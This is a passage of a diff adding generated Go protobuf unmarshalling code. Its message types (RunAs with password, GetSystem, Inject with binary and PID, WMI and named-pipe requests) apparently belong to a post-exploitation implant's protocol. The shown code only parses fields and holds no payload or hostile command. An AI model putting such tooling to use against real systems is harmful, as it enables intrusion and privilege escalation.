unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.ExecutablePath = stringValue + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field StartType", wireType) + } + m.StartType = 0 + m.StartType, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ErrorControl", wireType) + } + m.ErrorControl = 0 + m.ErrorControl, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field AccountName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.AccountName = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServiceStatus) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServiceStatus: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServiceStatus: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field CurrentState", wireType) + } + m.CurrentState = 0 + m.CurrentState, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ProcessId", wireType) + } + m.ProcessId = 0 + m.ProcessId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ExitCode", wireType) + } + m.ExitCode = 0 + m.ExitCode, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Checkpoint", wireType) + } + m.Checkpoint = 0 + m.Checkpoint, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field WaitHint", wireType) + } + m.WaitHint = 0 + m.WaitHint, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Service) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Service: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Service: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Config", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Config == nil { + m.Config = &ServiceConfig{} + } + if err := m.Config.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Status", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Status == nil { + m.Status = &ServiceStatus{} + } + if err := m.Status.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServicesResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServicesResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServicesResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Services", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Services = append(m.Services, &Service{}) + if err := m.Services[len(m.Services)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *WmiQueryRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: WmiQueryRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: WmiQueryRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Namespace", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Namespace = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Args = append(m.Args, stringValue) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *WmiMethodRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: WmiMethodRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: WmiMethodRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Namespace", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Namespace = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ClassName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.ClassName = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field MethodName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.MethodName = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Params", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Params == nil { + m.Params = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapkey == 0 { + mapkey = "" + } else { + mapkey = unsafe.String(&dAtA[iNdEx], intStringLenmapkey) + } + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapvalue == 0 { + mapvalue = "" + } else { + mapvalue = unsafe.String(&dAtA[iNdEx], intStringLenmapvalue) + } + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Params[mapkey] = mapvalue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *RunAsRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: RunAsRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: RunAsRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Username", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Username = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Domain", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Domain = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Password", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Password = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Program", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Program = stringValue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Args = stringValue + iNdEx = postIndex + case 6: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field UseProfile", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.UseProfile = bool(v != 0) + case 7: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Netonly", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Netonly = bool(v != 0) + case 8: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field UseEnv", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.UseEnv = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *GetSystem) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: GetSystem: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: GetSystem: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Inject) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Inject: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Inject: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Pipe) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Pipe: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Pipe: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Target", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Target = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = dAtA[iNdEx:postIndex] + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PipeRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PipeRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PipeRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Pipe", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Pipe == nil { + m.Pipe = &Pipe{} + } + if err := m.Pipe.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Switch) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := 